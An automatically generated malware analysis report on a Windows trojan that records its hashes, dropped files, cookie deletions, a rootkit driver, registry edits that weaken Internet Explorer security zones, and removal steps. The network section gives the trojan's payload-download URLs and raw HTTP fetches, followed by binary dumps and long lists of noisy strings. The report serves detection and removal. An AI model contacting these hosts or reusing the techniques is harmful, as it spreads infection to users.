HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.Generic.16226831 (B) (Emsisoft), Trojan.Generic.16226831 (AdAware), Trojan.Win32.FlyStudio.FD, TrojanFlyStudio.YR (Lavasoft MAS)Behaviour: Trojan
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: 3d0fa2e20e7ae92f35e37cb9e858988c
SHA1: f75433d7bf945c700ac4fbc2914a159504341e09
SHA256: 5527eff443b7e8bb2c8b14f3c5aa88af8301dc93025997d9d24d303e8255ca07
SSDeep: 98304:jgWLgOuyy6yW2chxAp2SQVk5bp6FYskEhiN4xQHvPOoXlpSLxpB:fkshuCVk5l6 skCW4xQHvPOaTSdpB
Size: 4390912 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6, MicrosoftVisualC, MicrosoftVisualCv50v60MFC, MicrosoftVisualC50, Armadillov171
Company: no certificate found
Created at: 2016-03-31 04:58:28
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
ping.exe:2020
%original file name%.exe:2024
LMIns.exe:228
The Trojan injects its code into the following process(es):
Ììʹ.exe:872
Explorer.EXE:884
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process %original file name%.exe:2024 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\Ììʹ.exe (17629 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\LMIns.exe (5442 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\1192515 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\1192515\TemporaryFile (0 bytes)
The process LMIns.exe:228 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.inf (2 bytes)
%WinDir%\Setupsti.log (8282 bytes)
%WinDir%\setupapi.log (3776 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_lm_delself_.bat (101 bytes)
%WinDir%\inf\oem11.inf (2 bytes)
%System%\drivers\SET4.tmp (27 bytes)
%WinDir%\inf\oem11.PNF (11641 bytes)
%WinDir%\hllog.txt (13 bytes)
%WinDir%\_ntdll.bak (4545 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.sys (1176 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Cookies\Current_User@doubleclick[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@rambler[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@money.ca.msn[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@msnportal.112.2o7[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@kaspersky[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.msn[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@aaa[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@bing[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@twitter[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.sys (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@auto.search.msn[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@microsoft[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@c.msn[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@abmr[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@hit.gemius[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@c.bing[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@pass.yandex[1].txt (0 bytes)
%System%\drivers\SET4.tmp (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@kaspersky.122.2o7[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@c.ca.msn[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.inf (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@adnxs[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@atdmt[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@hm.baidu[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@adgear[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@ssl.bing[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@c.atdmt[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@yandex[3].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@yandex[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@msn[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@yandex[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.bing[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@tns-counter[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@scorecardresearch[2].txt (0 bytes)
The process Ììʹ.exe:872 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
C:\ÃÂÂÙʱĿ¼λÖÃ.ini (46 bytes)
Registry activity
The process ping.exe:2020 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "16 85 A6 44 11 2A 37 D4 FF 89 60 A4 10 B1 2C 1A"
The process %original file name%.exe:2024 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EF 69 C5 A8 F4 25 72 72 B5 81 DE B5 77 E8 2D F9"
The process LMIns.exe:228 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SYSTEM\LastKnownGoodRecovery\LastGood]
"INF/oem11.inf" = "1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"FSFilter Activity Monitor" = "04 00 00 00 01 00 00 00 02 00 00 00 03 00 00 00"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\System\CurrentControlSet\Services\Mslmedia]
"DebugFlags" = "0"
[HKLM\SYSTEM\LastKnownGoodRecovery\LastGood]
"INF/oem11.PNF" = "1"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"_lm_delself_.bat" = "_lm_delself_"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F7 83 B3 4D 2F 21 AA FF 10 26 B3 07 66 72 74 26"
[HKLM\System\CurrentControlSet\Services\Mslmedia\Instances]
"DefaultInstance" = "Mslmedia Instance"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKLM\System\CurrentControlSet\Services\Mslmedia\Instances\Mslmedia Instance]
"Altitude" = "370030"
"Flags" = "0"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
"IntranetName" = "1"
The process Ììʹ.exe:872 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A4 D5 7C D0 1F D9 24 13 50 62 85 49 13 F4 46 32"
[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\_@1.tmp,"
Dropped PE files
MD5 | File path |
---|---|
1f13583f763fc9f1b31420c533ade278 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\LMIns.exe |
314bc2bebdd287972fee4bf832877b5d | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\_@1.tmp |
27d9ed8cb8b62d1e0a8e5ace6cf52e2f | c:\WINDOWS\_ntdll.bak |
7d6ba7cb844e20128ea13467a63b8ea1 | c:\WINDOWS\system32\drivers\Mslmedia.sys |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
Using the driver "%System%\DRIVERS\Mslmedia.sys" the Trojan controls loading executable images into a memory by installing the Load image notifier.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Scan a system with an anti-rootkit tool.
- Terminate malicious process(es) (How to End a Process With the Task Manager):
ping.exe:2020
%original file name%.exe:2024
LMIns.exe:228 - Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\Ììʹ.exe (17629 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\LMIns.exe (5442 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.inf (2 bytes)
%WinDir%\Setupsti.log (8282 bytes)
%WinDir%\setupapi.log (3776 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_lm_delself_.bat (101 bytes)
%WinDir%\inf\oem11.inf (2 bytes)
%System%\drivers\SET4.tmp (27 bytes)
%WinDir%\inf\oem11.PNF (11641 bytes)
%WinDir%\hllog.txt (13 bytes)
%WinDir%\_ntdll.bak (4545 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.sys (1176 bytes)
C:\ÃÂÂÙʱĿ¼λÖÃ.ini (46 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
Company Name:
Product Name: ?????
Product Version: 1.0.0.0
Legal Copyright: ?????? ????????
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 1.0.0.0
File Description: ?????
Comments: ??????????(http://www.eyuyan.com)
Language: English (United States)
Company Name: Product Name: ?????Product Version: 1.0.0.0Legal Copyright: ?????? ????????Legal Trademarks: Original Filename: Internal Name: File Version: 1.0.0.0File Description: ?????Comments: ??????????(http://www.eyuyan.com)Language: English (United States)
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 415786 | 417792 | 4.53171 | bebc6324ded8bda24d730d8960fccbba |
.rdata | 421888 | 3880288 | 3883008 | 5.29127 | ac969835b26720cff8d4098d2292de86 |
.data | 4304896 | 149448 | 61440 | 3.33146 | 4e4db08d2174ef73bdee51bce37b2450 |
.rsrc | 4456448 | 22336 | 24576 | 3.30571 | 7a0f46d8f68f6c9aa53ee5f271fdf22d |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://hlsys.oss-cn-shenzhen.aliyuncs.com/updatever.rar | |
hxxp://hlsys.oss-cn-shenzhen.aliyuncs.com/wkmdc.rar | |
hxxp://hlupdate.liu1xia.com/updatever.rar | 120.25.112.8 |
hxxp://hlupdate.liu1xia.com/wkmdc.rar | 120.25.112.8 |
hlsoft8.laolaoma.com | 120.25.144.64 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /updatever.rar HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: hlupdate.liu1xia.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: AliyunOSS
Date: Tue, 12 Apr 2016 13:57:00 GMT
Content-Type: application/octet-stream
Content-Length: 43093
Connection: keep-alive
x-oss-request-id: 570CFEAC8051B2B0D65741A8
Accept-Ranges: bytes
ETag: "CC9E7A6455FB651F1FBE2230F30CFD19"
Last-Modified: Tue, 05 Apr 2016 14:30:38 GMT
x-oss-object-type: Normal
x...}xT..0~&s....3....2... ....I4.L....!3..D ...J...J..3..lF.{...z..{....V1.*N.........h..8Q.@> ..k.33......<......s.9.c....^k.}N.....s...OU9.....r...>.M........:.E........j........c.]w..'.J..n.l..b..'..Un...].a~ff.5....?\.Z..l....?.. K......y.W.~..|..K.<.%K.<...}.'..gq.v}..KW.s...]9f...V.R..czo"..K.5^7..N...Z^.*.....;.O...x.D...1.}*..Xkd..j.S3u.rH..:n.f........n.q...3.-F..4.q.t...|i.........d..ca...oY..t'.....{.......[8_..=.....I........e..........d..#.-.6.....j8...^....p........v..........D......9.9mq.d..S.p..5e.[JU.-.t...;S.C?k..=E..i....)q\..W{...z];)..u...o9...ZUU..a...Ha.q...*...`D.<..C..`......[M..b ....5...H.#.-....YW...../..]._l~..-..w6..N._..=.......>.(..v.......n$.c`.u0.V._..O% .....M....H...@.T....wS[M:j ..._...#6x.N.)\|....6..e......-..k66M,[.|.....@c...*`;..#xt..fSN..P..*5..X. .'..o.k....qLT>C.Tz...h...x.u).t.S.G.G...2.R..]...O(RvZ..|-....l....W.ia>.........k2.....!...o...h...ti....!C...L....uc.\...._.B0.c.9Zk...} M..&4.@m..6...."......j......ej/.1..7./.E.H*...6..B..../.)'...X.t...M`....J..j...6..p.|..fd...r:0*......C...>,.....@...n.]..Iz...DR.).m.... .]g.R....#f.F..%..@. )...htU.M..%...8:A............c........~.1....g....8.... .....9R._6g...J/}l89!9.I.[.&}.m.MP....?M.l@..6..n.....p>...Hk;..J.....$E.......X..~67...W...qV7...............8....y.^.../r...1\.....'..z.....]Z.... 8#C...v)...nNV.(......W!....Gp.|xE.j. .&.... .J.2...3B4.6A..9.tF..P......2}...FU..y....|..{. .......^.%.....d5.D...44.... .v.....5Vc.69[W..dH)......b.).-O.wfO..f....bz.G...@D..H2.@..C"........=.
<<< skipped >>>
GET /wkmdc.rar HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: hlupdate.liu1xia.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: AliyunOSS
Date: Tue, 12 Apr 2016 13:57:02 GMT
Content-Type: application/octet-stream
Content-Length: 370673
Connection: keep-alive
x-oss-request-id: 570CFEAE8051B2B0D65743D5
Accept-Ranges: bytes
ETag: "191F21CC190122C479F0C6DFDAC5E98C"
Last-Modified: Thu, 31 Mar 2016 04:56:22 GMT
x-oss-object-type: Normal
M.....P.t....o@p8..``..`......0 .000.p.P ..p0p.0`00...p..P.P.....O..`.9M.x.|-!dX9.....g2..P.A.^.$.B%.2.n..>pt.c.].4.>..Z...`..`..hj.'9$..94...tH..n.=.4.i..XO..(i....Ydh..7.R..h../..iT.7.EX.I.HNA....$8...X.9.H.......xb...'.$.0P...pP.P......`...6.. ...`..@...a.....`...0Pp..w... .P.P .. ....@.@ .P..`..@..`%.... P.....T`.... "0..@.`0.........`.@....@...P..0&.@......P.P0@.@.aP`. ........P.0. P..!P....@.1.....`.....@.P.`P........P`......00P..p..0p..p.A..a.`.P``p....`...P..@...p....de.........@..@......0`.p..0..............1da...1. ...@..P.@n.@.`P.......pp...0.4.41@.`......q ...0P.1p0..`..@.``0..p.P..S.....tQ..`.1@....0...`.....@. ...p.P.^R.....P...`..Q..X@..F..@@@....P.....0.R.. `. ....p.P ...0.p0p.`@. ......0.p ..@. 0.........@0..0...... ...0... .. ....Pp...0....`.p......P.`.....pp......P.P ..P0.`... .......P@.@. @p..0... .@ P..`.p...``... .p`@ .@@pp`...@....`P.....`...0`0.....P.P0.P.`.. . .@0@.`.@...0.0@.....@`.Pp.. @@.......0........... ...@`0.`.0 ....0..@0..pP0@0..p...@..P`p...P....pp..P.pp P.P..@P0...P..`...@{....,...|\l.\........,,.L.<........l........L..[Dd.. (.$.4.....P,....L\.l|.|.,L. 4..C.TW].D.o...1..X./. V...;..`[.?.....l..l.,....U).........1Ld.Q0.A.!..P ..y...[....BP.R.P.."<P..\.\|.\.L.....H.G1..1..p0..x.A..t.}4D.d..0.@...Dw.x...s..p.0.q0I..........q`..$H_..9.|Y...4D\....[\tdD.]....9.......,,\<...|..Q......V.T.1.)6......DdK.n..@lz.....0.A...0..q8 ...t........@.`..dX.V._..W.Th..@..T.`@.P;.,.@D...~..........`.p..`.` ..T..../_W.t0/.`..T........9.s.....,..<..cV......'K.H..Q......$.......D
<<< skipped >>>
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
Ììʹ.exe_872:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
t$(SSh
t$(SSh
~%UVW
~%UVW
u$SShe
u$SShe
GetProcessHeap
GetProcessHeap
\AudioSes.dll
\AudioSes.dll
\CEGUI.log
\CEGUI.log
\TenSRL.dat
\TenSRL.dat
ssF.data
ssF.data
2=%F_=
2=%F_=
2%U{Q
2%U{Q
weQmw.qg
weQmw.qg
%s1>
%s1>
Yq.Aa
Yq.Aa
kx.lR
kx.lR
.aP6=
.aP6=
i.KF(
i.KF(
.MBW|
.MBW|
A}QpD.CV
A}QpD.CV
.zsM5K
.zsM5K
3.RZ_
3.RZ_
{zR
{zR
.AH~/
.AH~/
.Sqv^mm
.Sqv^mm
cscapi.dll
cscapi.dll
kernel32.dll
kernel32.dll
user32.dll
user32.dll
advapi32.dll
advapi32.dll
oleaut32.dll
oleaut32.dll
gdi32.dll
gdi32.dll
shell32.dll
shell32.dll
version.dll
version.dll
MSVCRT.dll
MSVCRT.dll
SHLWAPI.dll
SHLWAPI.dll
RegCloseKey
RegCloseKey
ShellExecuteA
ShellExecuteA
_:%u@
_:%u@
Q5%Sx
Q5%Sx
@.HD_
@.HD_
?b=ssH
?b=ssH
M|.QE
M|.QE
w#%xf
w#%xf
4)EB.LEy
4)EB.LEy
2%0X2
2%0X2
.qR{[
.qR{[
\.Ne7]
\.Ne7]
G7.CFn
G7.CFn
ÀiH%$1g
ÀiH%$1g
b.ln1
b.ln1
n:%u|
n:%u|
pp;%F
pp;%F
GJma%Dtj
GJma%Dtj
n .in
n .in
^t.KnR/k
^t.KnR/k
%S6=f
%S6=f
%CRyDL
%CRyDL
O[.cC
O[.cC
f .iF
f .iF
%X6RU
%X6RU
2i;r%Fu
2i;r%Fu
.Edqn
.Edqn
.ud8I
.ud8I
%UPor
%UPor
QTTcp
QTTcp
)*w.yB:
)*w.yB:
E5u.IgySB
E5u.IgySB
erhD.yY
erhD.yY
JL)%cP
JL)%cP
P,
P,
6%Fi~
6%Fi~
n.uJC
n.uJC
o2OSC.KF
o2OSC.KF
%D%u*
%D%u*
P9|bY.kc
P9|bY.kc
_{.Qd
_{.Qd
M.Gd0
M.Gd0
UP%s-
UP%s-
x0Y\.Ne
x0Y\.Ne
L6Bw
L6Bw
`.ESc
`.ESc
.hF){
.hF){
.wA@!yH
.wA@!yH
>%U,N
>%U,N
.JPTv
.JPTv
.mrA_
.mrA_
=.Wx5
=.Wx5
=~V9.nP
=~V9.nP
(Of1}2%C
(Of1}2%C
KBI.EuQ
KBI.EuQ
.KePA
.KePA
G2.aW
G2.aW
DTCP
DTCP
xW.rH
xW.rH
]%uyYPXA]
]%uyYPXA]
.fGj0op[
.fGj0op[
>L.Zc
>L.Zc
iCXV%d
iCXV%d
.uu&i
.uu&i
=.sj]2e
=.sj]2e
,%UmNm
,%UmNm
:@Z%f
:@Z%f
P@#h%d"
P@#h%d"
IfTP
IfTP
=.WB5
=.WB5
.hlp
.hlp
.idata
.idata
.edata
.edata
P.vmp0
P.vmp0
`.vmp1
`.vmp1
.reloc
.reloc
P.rsrc
P.rsrc
1e.ro4A
1e.ro4A
H0.gW
H0.gW
comctl32.dll
comctl32.dll
d.jF/"
d.jF/"
r#'%C
r#'%C
6.Xdp
6.Xdp
g|$^.Cn
g|$^.Cn
>.bM8
>.bM8
>Z.Ye
>Z.Ye
w4R`$p%s*
w4R`$p%s*
f.zo~L^
f.zo~L^
wsock32.dll
wsock32.dll
ntdll.dll
ntdll.dll
Ë.L@
Ë.L@
l.sQ{
l.sQ{
c-t{.FF
c-t{.FF
b#I".wM
b#I".wM
e.ENZ
e.ENZ
xip.tu
xip.tu
@>.vO
@>.vO
%FX2Fsi
%FX2Fsi
qKT.jLka
qKT.jLka
3.LD7
3.LD7
Uq
Uq
G,.gd
G,.gd
<.cff>
<.cff>
&8.XMj
&8.XMj
$~O.Ba
$~O.Ba
)].Wd
)].Wd
/_{M%U
/_{M%U
Q%s6|
Q%s6|
lVfeVg
lVfeVg
!%uO
!%uO
mh.ud
mh.ud
m%Csn%
m%Csn%
kq84.QaI
kq84.QaI
)f%fg
)f%fg
.SuDYw
.SuDYw
K)`p.frC
K)`p.frC
*%s!%
*%s!%
aR.dDb&
aR.dDb&
.xk 4g
.xk 4g
)%S{.
)%S{.
'U}.Ue
'U}.Ue
l%S(8x$!(
l%S(8x$!(
1L%UJ
1L%UJ
.vtbw
.vtbw
.iA5N
.iA5N
yyhKa%S
yyhKa%S
d.Zd=#R
d.Zd=#R
x0r%F{
x0r%F{
.IPi)
.IPi)
Vj.jH
Vj.jH
>M%X9
>M%X9
/8[
/8[
bc.lTk
bc.lTk
ks_GetMsg
ks_GetMsg
kssPlugin.dll
kssPlugin.dll
tole32.dll
tole32.dll
%d&&'
%d&&'
123456789
123456789
00003333
00003333
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
inflate 1.1.3 Copyright 1995-1998 Mark Adler
inflate 1.1.3 Copyright 1995-1998 Mark Adler
%*.*f
%*.*f
CNotSupportedException
CNotSupportedException
commctrl_DragListMsg
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
Afx:%x:%x
COMCTL32.DLL
COMCTL32.DLL
CCmdTarget
CCmdTarget
__MSVCRT_HEAP_SELECT
__MSVCRT_HEAP_SELECT
Broken pipe
Broken pipe
Inappropriate I/O control operation
Inappropriate I/O control operation
Operation not permitted
Operation not permitted
WinExec
WinExec
KERNEL32.dll
KERNEL32.dll
GetKeyState
GetKeyState
USER32.dll
USER32.dll
GetViewportOrgEx
GetViewportOrgEx
GDI32.dll
GDI32.dll
WINMM.dll
WINMM.dll
WINSPOOL.DRV
WINSPOOL.DRV
RegOpenKeyExA
RegOpenKeyExA
ADVAPI32.dll
ADVAPI32.dll
SHELL32.dll
SHELL32.dll
ole32.dll
ole32.dll
OLEAUT32.dll
OLEAUT32.dll
COMCTL32.dll
COMCTL32.dll
WS2_32.dll
WS2_32.dll
GetCPInfo
GetCPInfo
CreateDialogIndirectParamA
CreateDialogIndirectParamA
UnhookWindowsHookEx
UnhookWindowsHookEx
SetWindowsHookExA
SetWindowsHookExA
SetViewportOrgEx
SetViewportOrgEx
OffsetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
SetViewportExtEx
ScaleViewportExtEx
ScaleViewportExtEx
GetViewportExtEx
GetViewportExtEx
comdlg32.dll
comdlg32.dll
RegCreateKeyExA
RegCreateKeyExA
.PAVCException@@
.PAVCException@@
Shell32.dll
Shell32.dll
Mpr.dll
Mpr.dll
Advapi32.dll
Advapi32.dll
User32.dll
User32.dll
Gdi32.dll
Gdi32.dll
Kernel32.dll
Kernel32.dll
(&07-034/)7 '
(&07-034/)7 '
?? / %d]
?? / %d]
%d / %d]
%d / %d]
.PAVCFileException@@
.PAVCFileException@@
: %d]
: %d]
(*.*)|*.*||
(*.*)|*.*||
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.txt)|*.txt|
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|PNG
(*.JPG)|*.JPG|PNG
(*.PNG)|*.PNG|BMP
(*.PNG)|*.PNG|BMP
(*.BMP)|*.BMP|GIF
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
(*.CUR)|*.CUR|
%s:%d
%s:%d
windows
windows
.PAVCNotSupportedException@@
.PAVCNotSupportedException@@
out.prn
out.prn
(*.prn)|*.prn|
(*.prn)|*.prn|
%d.%d
%d.%d
%d/%d
%d/%d
1.6.9
1.6.9
unsupported zlib version
unsupported zlib version
png_read_image: unsupported transformation
png_read_image: unsupported transformation
%d / %d
%d / %d
Bogus message code %d
Bogus message code %d
libpng error: %s
libpng error: %s
libpng warning: %s
libpng warning: %s
1.1.3
1.1.3
bad keyword
bad keyword
libpng does not support gamma background rgb_to_gray
libpng does not support gamma background rgb_to_gray
Palette is NULL in indexed image
Palette is NULL in indexed image
(%d-%d):
(%d-%d):
%ld%c
%ld%c
.PAVCObject@@
.PAVCObject@@
.PAVCSimpleException@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCResourceException@@
.PAVCUserException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.?AVCTestCmdUI@@
.PAVCArchiveException@@
.PAVCArchiveException@@
zcÃ
zcÃ
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
#include "l.chs\afxres.rc" // Standard components
#include "l.chs\afxres.rc" // Standard components
9.5.25.212
9.5.25.212
(*.*)
(*.*)
Ììʹ.exe_872_rwx_00C68000_0000C000:
x.yvr
x.yvr
x.yvkd
x.yvkd
x.yvw
x.yvw
x.yvq5v
x.yvq5v
Ììʹ.exe_872_rwx_00CFD000_000CA000:
version.dll
version.dll
user32.dll
user32.dll
shell32.dll
shell32.dll
1e.ro4A
1e.ro4A
oleaut32.dll
